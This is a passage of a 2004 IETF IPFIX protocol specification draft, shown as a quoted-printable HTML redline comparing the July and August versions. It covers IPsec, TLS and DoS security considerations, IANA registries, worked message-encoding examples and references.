   To secure messages between the Exporter and the Collector an IPFIX=20
   implementation MAY use IPsec.  To ensure interworking between=20
   Exporters and Collectors from different vendors, the following IPsec=20
   profile MUST be supported.  This profile is derived from [USEIPSEC].=20

 14.1.1  Selectors=20
   =20
   IPFIX runs between manually configured pairs of hosts on the=20
   following transport ports (TBD).  The appropriate selector would be=20
   Exporter-Collector pairs and port number.  =20
   =20
   Note that, if the Exporter is a router, a non-interface ("loopback")=20
   address should be used.   =20

 14.1.2  Mode=20
   =20
   IPsec MUST be run in transport mode.  The AH and ESP MUST be=20
   supported by an IPFIX implementation of IPsec.  =20
   =20
   The Authentication Header (AH) [RFC2402] MUST be used if=20
   authentication is required.  The Security Protocol (ESP) [RFC2406]=20
   must be used if <strike><font color=3Dred>the</font></strike> <strong>=
<font color=3Dgreen>there</font></strong> is a threat to the IPFIX <strik=
e><font color=3Dred>message</font></strike> <strong><font color=3Dgreen>M=
essage</font></strong> content, or=20
   if=20
   <strike><font color=3Dred>it</font></strike> <strong><font color=3Dgre=
en>that content</font></strong> is confidential. =20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 41]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>  =20
   =20
   Normally in situations where the ESP was required the AH would also=20
   be required.  If ESP only is used, the sender's IP address MUST be=20
   checked against the IP address asserted in the key management=20
   exchange.=20




=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 41]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
 14.1.3  Key Management=20
   =20
   In many networks, manual key management will be sufficient, and this=20
   reduces the complexity of the Exporter, albeit at a cost of greater=20
   configuration complexity.  Manual key management MUST be supported. =20
   If a replay attack is considered likely, an automated key management=20
   <strike><font color=3Dred>the</font></strike>=20
   <strong><font color=3Dgreen>such as</font></strong> IKE [IKE] key mana=
gement system SHOULD be used.  =20

 14.1.4  Security Policy=20
=20
   Connections should be accepted only from the designated peer.=20

 14.1.5  Authentication=20
=20
   Given the number of IPFIX capable Exporters that are likely to be=20
   deployed by large ISPs, there will be circumstances where shared key=20
   mechanisms are not adequate.  Where an automated key management=20
   system is used, certificate-based IKE SHOULD be supported.   =20

 14.1.6  Availability=20
   =20
   It is accepted that IPsec will not be universally available in IPFIX=20
   Exporters, and that where it is available, there may be issues of=20
   throughput, which may itself raise security issues.  In such=20
   circumstances the other security measures described in this <strike><f=
ont color=3Dred>draft</font></strike> <strong><font color=3Dgreen>documen=
t</font></strong>=20
   provide some threat mitigation.  =20
   =20
 14.2       TLS Usage=20
    =20
   The IPFIX Exporter initiating a connection acts as a TLS client=20
   according to [TLS], and an IPFIX Collector that accepts a connection=20
   acts as a TLS server.  If mutual authentication is required the=20
   IPFIX=20
   <strike><font color=3Dred>node</font></strike> <strong><font color=3Dg=
reen>Device</font></strong> acting as TLS server MUST request a certifica=
te from=20
   the IPFIX=20
   <strike><font color=3Dred>node</font></strike> <strong><font color=3Dg=
reen>Device</font></strong> acting as TLS client, and the IPFIX <strike><=
font color=3Dred>node</font></strike> <strong><font color=3Dgreen>Device<=
/font></strong> acting=20
   as TLS client MUST be prepared to supply a certificate on request.=20
   =20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 42]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   =20
 14.3       Protection against DoS attacks=20
   =20
   An attacker may directly mount a DoS attack by generating large=20
   amounts of traffic.   If TCP is used for transport, then the <strike><=
font color=3Dred>flow</font></strike> <strong><font color=3Dgreen>Flow</f=
ont></strong> to=20
   the <strike><font color=3Dred>collector</font></strike> <strong><font =
color=3Dgreen>Collector</font></strong> would back off due to congestion =
and eventually stall,=20
   blinding the IPFIX system.  An attack could then proceed without=20
   further observation.  SCTP-PR will have a different pathology under=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 42]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   such an attack.  Stale data at the head of the queue will get=20
   flushed giving some visibility of the attack.  In case of UDP, IPFIX=20
   would reduce to some sort of <strike><font color=3Dred>sampling</font>=
</strike> <strong><font color=3Dgreen>sampling,</font></strong> meaning t=
hat some forensics=20
   may be left.  =20
   =20
   To avoid blinding of the IPFIX system some mechanism for service=20
   differentiation can be used to <strike><font color=3Dred>prioritizes</=
font></strike> <strong><font color=3Dgreen>prioritize</font></strong> IPF=
IX traffic over user=20
   traffic.  An alternative is to use a dedicated network for the=20
   transport of IPFIX <strike><font color=3Dred>messages.</font></strike>=
 <strong><font color=3Dgreen>Messages.</font></strong>  By sending the IP=
FIX <strike><font color=3Dred>messages</font></strike> <strong><font colo=
r=3Dgreen>Messages</font></strong> over a=20
   dedicated network, IPFIX <strike><font color=3Dred>message</font></str=
ike> <strong><font color=3Dgreen>Message</font></strong> loss induced by =
user traffic=20
   congestion is minimized.  However an attacker may trigger the=20
   generation of excessive IPFIX <strike><font color=3Dred>messages,</fon=
t></strike> <strong><font color=3Dgreen>Messages,</font></strong> and to =
avoid information=20
   loss during such an attack the IPFIX network must be adequately=20
   sized.=20
   =20
 14.4       When IPsec or TLS is not an option=20
   =20
   The use of IPsec or TLS might not be an option because of=20
   performance issues.=20
   =20
   Without IPsec or TLS an IPFIX entity has no means to authenticate an=20
   IPFIX entity other than the Source IP address.  Useful protection is=20
   gained by allocating Exporter and Collector IP addresses from ranges=20
   that are excluded from use by user traffic and preventing spoofing=20
   attacks by proper ingress filtering.  Where large numbers of=20
   <strike><font color=3Dred>exporters,</font></strike>=20
   <strong><font color=3Dgreen>Exporters,</font></strong> proxies and <st=
rike><font color=3Dred>collectors</font></strike> <strong><font color=3Dg=
reen>Collectors</font></strong> are used in a network, it may be=20
   tempting for the administrator to not impose source IP address=20
   restrictions but this leaves a proxy or <strike><font color=3Dred>coll=
ector</font></strike> <strong><font color=3Dgreen>Collector</font></stron=
g> open to the=20
   reception of invalid information.  Using an open proxy or <strike><fon=
t color=3Dred>collector</font></strike> <strong><font color=3Dgreen>Colle=
ctor</font></strong>=20
   is therefore <strike><font color=3Dred>to be deprecated.</font></strik=
e> <strong><font color=3Dgreen>discouraged.</font></strong>  =20
   =20
   If IP address spoofing can not be prevented some level of protection=20
   against an insertion attack is required.  With a modern=20
   implementation of TCP with good ISN randomization [XXX-REFERENCE] or=20
   SCTP insertion such attacks are difficult without the ability to=20
   snoop the packet <strike><font color=3Dred>flow</font></strike> <stron=
g><font color=3Dgreen>Flow</font></strong> [XXX-SCTP-BLIND-SPOOFING-REFER=
ENCE].  UDP is=20
   vulnerable to insertion <strike><font color=3Dred>attacks</font></stri=
ke> <strong><font color=3Dgreen>attacks,</font></strong> however, randomi=
zation of the IPFIX=20
   sequence number might mitigate this problem.  In all these cases,=20
   the sequence number space is relatively small giving only limited=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 43]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   protection.  Therefore a 64 bit cookie [L2TPv3] SHOULD be included=20
   as an element within all messages.  =20
   =20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 43]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   The use of a dedicated network prevents IPFIX <strike><font color=3Dre=
d>messages</font></strike> <strong><font color=3Dgreen>Messages</font></s=
trong> from being=20
   inspected by an attacker.=20
   =20
 14.5       Logging an IPFIX Attack=20
=20
   A Collector may detect problems by tracking the IPFIX sequence=20
   number and therefore SHOULD provide a logging mechanism for tracking=20
   out of sequence messages. <strike><font color=3Dred>[EDITOR=92S NOTE: =
Double check whether this=20
   is already specified in an earlier section.]</font></strike>  Such out=
 of sequence messages may not=20
   only be caused by network congestion or Exporter/Collector resource=20
   exhaustion but also by an attacker injecting false messages.  =20
   =20
   Note that an attacker may be able to exploit the behavior of the=20
   Collector when it receives an out of sequence message.  For example=20
   a Collector that simply reset the expected sequence number upon=20
   receipt of a later message would easily be temporarily blinded by=20
   deliberately injecting messages with a much larger sequence number. =20
   =20
   <strike><font color=3Dred>[EDITOR=92S</font></strike>  =20
   =20
   <strong><font color=3Dgreen>[EDITOR</font></strong> NOTE: the security=
 section may need be adapted to the=20
   revised transport section]  =20
   =20
 15.      IANA Considerations=20
   =20
   IANA will need to set up a registry of <strike><font color=3Dred>Flows=
et IDs, field types,</font></strike> <strong><font color=3Dgreen>Field Ty=
pes,</font></strong> scope and option=20
   codepoints. <strong><font color=3Dgreen>The Set ID will not be adminis=
tered by IANA.</font></strong> =20
   =20
   In compiling the registry of <strike><font color=3Dred>field types</fo=
nt></strike> <strong><font color=3Dgreen>Field Types</font></strong> IANA=
 must set asside a=20
   range value for vendor use.  It is proposed that the range=20
   &lt;0..32767&gt; be administered by IANA for IETF defined IEs, and tha=
t=20
   the range &lt;32768..65535&gt; be allocated for private use by vendors=
.  =20
   =20
   Similarly the scope and option codepoints need to be split between=20
   IANA administered and private ranges.=20
   =20
 16.      Examples=20
   =20
   Let's consider the example of an IPFIX Message composed of a =20
   Template <strike><font color=3Dred>FlowSet,</font></strike> <strong><f=
ont color=3Dgreen>Set,</font></strong> a Data <strike><font color=3Dred>F=
lowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong> (w=
hich contains three Flow Data Records),=20
   an Options Template <strike><font color=3Dred>FlowSet</font></strike> =
<strong><font color=3Dgreen>Set</font></strong> and a Data <strike><font =
color=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font=
></strong> (which contains 2 Options=20
   Data Records).  =20
   =20
   <strong><font color=3Dgreen>IPFIX Message:=20
   =20
   +--------+---------------------------------------------. . .</font></s=
trong>=20

=20
=20
  Claise, et. al            Standard Track                   [Page 44]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   =20
   <strike><font color=3Dred>IPFIX Message:=20
   +--------+---------------------------------------------. . .</font></s=
trike>=20
=20
=20
   |        | +--------------+ +-----------------------+ =20
   |Message | | Template     | | Data                  | =20
   | Header | | <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong>          | | <strike><font color=
=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></st=
rong>                   |   . . .=20
   |        | | (1 Template) | | (3 Flow Data Records) | =20
   |        | +--------------+ +-----------------------+ =20
   +--------+---------------------------------------------. . .=20
=20
        . . .+-------------------------------------------------+=20
             +------------------+ +--------------------------+ |=20
             | Options          | | Data                     | |=20
        . . .| Template <strike><font color=3Dred>FlowSet</font></strike>=
 <strong><font color=3Dgreen>Set</font></strong>     | | <strike><font co=
lor=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font><=
/strong>                      | |=20
             | (1 Template)     | | (2 Options Data Records) | |=20
             +------------------+ +--------------------------+ |=20
        . . .--------------------------------------------------+=20
   =20
 16.1       Message Header Example=20
   =20
   The Message Header is composed of:=20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |     Version =3D 0x000a          |         Length =3D 152          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          Export Time                          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                       Sequence Number                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                           Source ID                           |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
 16.2       Template <strike><font color=3Dred>FlowSet</font></strike> <s=
trong><font color=3Dgreen>Set</font></strong> Example=20
   =20
   We want to report the following Field Types:=20
   - The source IP address (IPv4), so the length is 4=20
   - The destination IP address (IPv4), so the length is 4=20
   - The next-hop IP address (IPv4), so the length is 4=20
   - The number of bytes of the Flow=20
   - The number of packets of the Flow=20
   =20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 45]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   =20
   Therefore, the Template <strike><font color=3Dred>FlowSet</font></stri=
ke> <strong><font color=3Dgreen>Set</font></strong> will be composed of t=
he following:=20
   =20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 45]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       <strike><font color=3Dred>FlowSet</font></strike>         <str=
ong><font color=3Dgreen>Set</font></strong> ID =3D <strike><font color=3D=
red>0</font></strike> <strong><font color=3Dgreen>2</font></strong>      =
      |      Length =3D 28 bytes        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       Template ID 256         |       Field Count =3D 5         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |     IP_SRC_ADDR =3D 0x0008      |       Field Length =3D 4        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |     IP_DST_ADDR =3D 0x000C      |       Field Length =3D 4        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |     IP_NEXT_HOP =3D 0x000F      |       Field Length =3D 4        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       IN_PKTS =3D 0x0002        |       Field Length =3D 4        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       IN_BYTES =3D 0x0001       |       Field Length =3D 4        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
 16.3       Data <strike><font color=3Dred>FlowSet</font></strike> <stron=
g><font color=3Dgreen>Set</font></strong> Example=20
=20
   In this example, we report the following three Flow <strike><font colo=
r=3Dred>records:</font></strike> <strong><font color=3Dgreen>Records:</fo=
nt></strong>=20
   Src IP addr. | Dst IP addr.  | Next Hop addr. | Packet | Bytes =20
                |               |                | Number | Number=20
   <strike><font color=3Dred>--------------------------------------------=
-------------------=20
   198.168.1.12</font></strike>=20
   <strong><font color=3Dgreen>------------------------------------------=
------------------------=20
   192.168.1.12</font></strong> | <strike><font color=3Dred>10.5.12.254</=
font></strike> <strong><font color=3Dgreen>192.168.2.254</font></strong> =
| 192.168.1.1    | 5009   | 5344385=20
   192.168.1.27 | <strike><font color=3Dred>10.5.12.23</font></strike> <s=
trong><font color=3Dgreen>192.168.2.23</font></strong>  | <strike><font c=
olor=3Dred>192.168.1.1</font></strike> <strong><font color=3Dgreen>192.16=
8.1.2</font></strong>    | 748    | 388934=20
   192.168.1.56 | <strike><font color=3Dred>10.5.12.65</font></strike> <s=
trong><font color=3Dgreen>192.168.2.65</font></strong>  | <strike><font c=
olor=3Dred>192.168.1.1</font></strike> <strong><font color=3Dgreen>192.16=
8.1.3</font></strong>    | 5      | 6534=20
   =20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       <strike><font color=3Dred>FlowSet</font></strike>          <st=
rong><font color=3Dgreen>Set</font></strong> ID =3D 256         |        =
  Length =3D 64          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          <strike><font color=3Dred>198.168.1.12</fon=
t></strike>                          <strong><font color=3Dgreen>192.168.=
1.12</font></strong>                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          <strike><font color=3Dred>10.5.12.254</font=
></strike>                          <strong><font color=3Dgreen>192.168.2=
.254</font></strong>                        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          192.168.1.1                          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                             5009                              |=20
   <strong><font color=3Dgreen>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-=
+-+-+-+-+-+-+-+-+-+-+-+=20
   |                            5344385                            | =20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          192.168.1.27                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</fon=
t></strong>=20
=20
=20
  Claise, et. al            Standard Track                   [Page 46]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   <strike><font color=3Dred>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-=
+-+-+-+-+-+-+-+-+-+-+=20
   |                            5344385                            | =20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          192.168.1.27                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</fon=
t></strike>=20
=20
=20
   |                           <strike><font color=3Dred>10.5.12.23</font=
></strike>                          <strong><font color=3Dgreen>192.168.2=
.23</font></strong>                         | =20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          <strike><font color=3Dred>192.168.1.1</font=
></strike>                          <strong><font color=3Dgreen>192.168.1=
.2</font></strong>                          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                              748                              |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                             388934                            |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                          192.168.1.56                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                           <strike><font color=3Dred>10.5.12.65</font=
></strike>                          <strong><font color=3Dgreen>192.168.2=
.65</font></strong>                         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                           <strike><font color=3Dred>192.168.1.1</fon=
t></strike>                          <strong><font color=3Dgreen>192.168.=
1.3</font></strong>                          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                               5                               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |                              6534                             |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
   Note that padding <strike><font color=3Dred>was</font></strike> <stron=
g><font color=3Dgreen>is</font></strong> not necessary in this example.=20
   =20
 16.4       Options Template <strike><font color=3Dred>FlowSet</font></st=
rike> <strong><font color=3Dgreen>Set</font></strong> Example=20
   =20
   Per line card (the router being composed of two line cards), we want=20
   to report the following Field Types:=20
      - Total number of IPFIX Messages=20
      - Total number of exported Flows =20
   <strong><font color=3Dgreen>Each line card is characterized by an uniq=
ue Observation Domain,=20
   represented by the unique Source ID Information Elements [IPFIX-
   INFO]. As a consequence, the Scope Field is the Source ID=20
   Information Element.</font></strong>=20
   =20
   The format of the Options Template <strike><font color=3Dred>FlowSet</=
font></strike> <strong><font color=3Dgreen>Set</font></strong> is as foll=
ows:=20
    0                   1                   2                   3=20
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       <strike><font color=3Dred>FlowSet</font></strike>         <str=
ong><font color=3Dgreen>Set</font></strong> ID =3D <strike><font color=3D=
red>1</font></strike> <strong><font color=3Dgreen>3</font></strong>      =
      |          Length =3D 24          |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       Template ID 257         |    Option Scope Length =3D 4    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       Option Length =3D 8       |        <strong><font color=3Dgreen=
>Source ID =3D TBD        |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |</font></strong>   Scope 1 Field <strike><font color=3Dred>Type</font=
></strike> <strong><font color=3Dgreen>Length =3D 4    |    TOTAL_EXP_PKT=
S_SENT</font></strong> =3D <strike><font color=3Dred>0x0003</font></strik=
e> <strong><font color=3Dgreen>41</font></strong>   |=20
=20
=20
  Claise, et. al            Standard Track                   [Page 47]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   <strike><font color=3Dred>Scope 1 Field Length =3D 2    |   TOTAL_=
EXP_PKTS_SENT =3D 41    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |</font></strike>       Field Length =3D 4        |     TOTAL_FLOWS_EX=
P =3D 42      |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |       Field Length =3D 4        |           Padding             |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
 16.5       Data <strike><font color=3Dred>FlowSet</font></strike> <stron=
g><font color=3Dgreen>Set</font></strong> with Options Data Records Examp=
le=20
   =20
   In this example, we report the following two <strike><font color=3Dred=
>records:</font></strike> <strong><font color=3Dgreen>Options Data Record=
s:</font></strong>=20
   Line Card ID             | IPFIX <strike><font color=3Dred>Message| Ex=
port</font></strike> <strong><font color=3Dgreen>Message   | Exported</fo=
nt></strong> Flow =20
   <strike><font color=3Dred>------------------------------------------</=
font></strike> <strong><font color=3Dgreen>Records=20
   ------------------------------------------------------------------</fo=
nt></strong>=20
   Line Card 1 <strong><font color=3Dgreen>(SourceID=3D1)</font></strong>=
 | 345             | 10201    =20
   Line Card 2 <strong><font color=3Dgreen>(SourceID=3D2)</font></strong>=
 | 690             | 20402=20
   =20
   0                   1                   2                   3 =20
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
    |    <strike><font color=3Dred>FlowSet</font></strike>      <strong><=
font color=3Dgreen>Set</font></strong> ID =3D 257             |         L=
ength =3D <strike><font color=3Dred>16</font></strike> <strong><font colo=
r=3Dgreen>20</font></strong>           | =20
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
    |                               1                               |    =
         <strike><font color=3Dred>345               |</font></strike>=20
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
    |             <strong><font color=3Dgreen>345               |</font><=
/strong>            10201              |=20
    <strong><font color=3Dgreen>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=
-+-+-+-+-+-+-+-+-+-+-+-+ =20
    |</font></strong>                               2                    =
           | =20
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ =20
    |             690               |            20402              | =20
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
 17.     References=20
   =20
 17.1       Normative References=20
   =20
   [IPFIX-ARCH] Sadasivan, G, Brownlee, N. "Architecture Model for IP=20
   Flow Information Export" draft-ietf-ipfix-arch-02.txt", October 2003=20
   =20
   [IPFIX-INFO] Calato, P, Meyer, J, Quittek, J, "Information Model for=20
   IP Flow Information Export" draft-ietf-ipfix-info-02, November 2003=20
   =20
   [IPFIX-AS] Zseby, T, Boschi, E, Penno, R, Brownlee, N, Claise, B,=20
   "IPFIX Applicability", draft-ietf-ipfix-as-02.txt, July 2004 =20
   =20
   [UDP]  Postel, J., "User Datagram Protocol" RFC 768, August 1980=20
   =20

=20
=20
  Claise, et. al            Standard Track                   [Page 48]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   [TCP]  "TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAM=20
   PROTOCOL SPECIFICATION" RFC 793, September 1981=20
   =20
   [RFC1889] Schulzrinne, H., Casner, S., Frederick, R., Jacobson, V.,=20
   "RTP: A Transport Protocol for Real-Time <strike><font color=3Dred>App=
lications=92=92,</font></strike> <strong><font color=3Dgreen>Applications=
",</font></strong> RFC 1889,=20
   January 1996=20
   =20
   [RFC2402] Kent, S., Atkinson, R., "IP Authentication <strike><font col=
or=3Dred>Header=92=92,</font></strike> <strong><font color=3Dgreen>Header=
",</font></strong> RFC=20
   2402, November 1998 =20
   =20
   [RFC2406] Kent, S., Atkinson, R., "IP Encapsulating Security Payload=20
   <strike><font color=3Dred>(ESP)=92=92,</font></strike>=20
   <strong><font color=3Dgreen>(ESP)",</font></strong> RFC 2406, November=
 1998 =20
   =20
   [RFC2960] Stewart, R. (ed.) "Stream Control Transmission Protocol",=20
   RFC 2960, October 2000=20
   =20
   [RFC3758] Stewart, R., Ramalho, M., Xie, Q., Tuexen, M., Conrad, P. =20
   "Stream Control Transmission Protocol (SCTP) Partial Reliability=20
   Extension", RFC 3758, May 2004=20
=20
 17.2       Informative References=20
=20
   [IPFIX-REQ] Quittek, J, Zseby, T, Claise, B, Zander, S, =20
   "Requirements for IP Flow Information Export" draft-ietf-ipfix-reqs-
   15.txt, June 2003=20
   =20
   [IPFIX-AS] Zseby, T, Penno, R, Brownlee, N, Claise, B, "IPFIX=20
   Applicability", draft-ietf-ipfix-as-01.txt, October 2003     =20
             =20
   [IPFIX-EVAL] Leinen, S, "Evaluation of Candidate Protocols for IP=20
   Flow Information Export (IPFIX)", draft-leinen-ipfix-eval-contrib-
   02.txt, January 2003=20
   =20
   [NETFLOW9] Claise, B, et al "Cisco Systems NetFlow Services Export=20
   Version 9", draft-claise-netflow-9-07.txt, December 2003=20
   =20
   [PEN] IANA Private Enterprise Numbers registry=20
         http://www.iana.org/assignments/enterprise-numbers =20
   =20
   [USEIPSEC] S. Bellovin, Guidelines for Mandating the Use of IPsec, =20
              draft-bellovin-useipsec-02.txt, October 2003, work =20
              in progress. =20

=20
=20
  Claise, et. al            Standard Track                   [Page 49]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   =20
   [IKE]      Harkins, D. and D. Carrel, "The Internet Key Exchange =20
              (IKE)", RFC 2409, November 1998.=20
   =20
   [TLS]      Dierks, T. and C. Allen, "The TLS Protocol Version =20
              1.0", RFC 2246, January 1999.=20
   =20
   [L2TPv3]   J. Lau et al. Layer Two Tunneling Protocol (Version 3) =20
              draft-ietf-l2tpext-l2tp-base-11.txt, October 2003, work =20
              in progress. =20
   =20
   [XXX-REFERENCE] =20
   =20
